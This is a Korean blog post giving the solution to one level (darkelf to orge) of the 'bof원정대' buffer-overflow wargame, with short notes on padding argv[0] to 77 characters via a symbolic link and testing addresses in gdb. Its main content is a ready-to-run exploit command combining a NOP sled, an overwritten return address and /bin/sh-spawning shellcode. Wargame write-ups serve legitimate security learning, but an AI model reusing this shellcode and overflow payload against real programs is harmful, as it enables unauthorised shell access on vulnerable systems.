티스토리 뷰

해답 : 

./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*44+"\xac\xfb\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`


argv[0] 이 77 자리가 되어야하는 조건을 만족시키는 것이 중요합니다. 저는 심볼릭 링크를 이용해서 77자리를 맞추었습니다. 

나머지는 앞부분과 동일한 코드입니다. 

gdb로 테스트할 때는 ./home/darkelf///////////////////orge 형식으로 77자리까지 늘려서 주소값을 테스트하면 되겠습니다. 

'문제풀이 > bof원정대' 카테고리의 다른 글

bof원정대 troll -> vampire  (0) 2016.08.16
bof원정대 orge -> troll  (0) 2016.08.15
bof 원정대 wolfman -> darkelf  (0) 2016.08.15
bof 원정대 orc -> wolfman  (0) 2016.08.15
bof 원정대 goblin -> orc  (0) 2016.08.15
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
글 보관함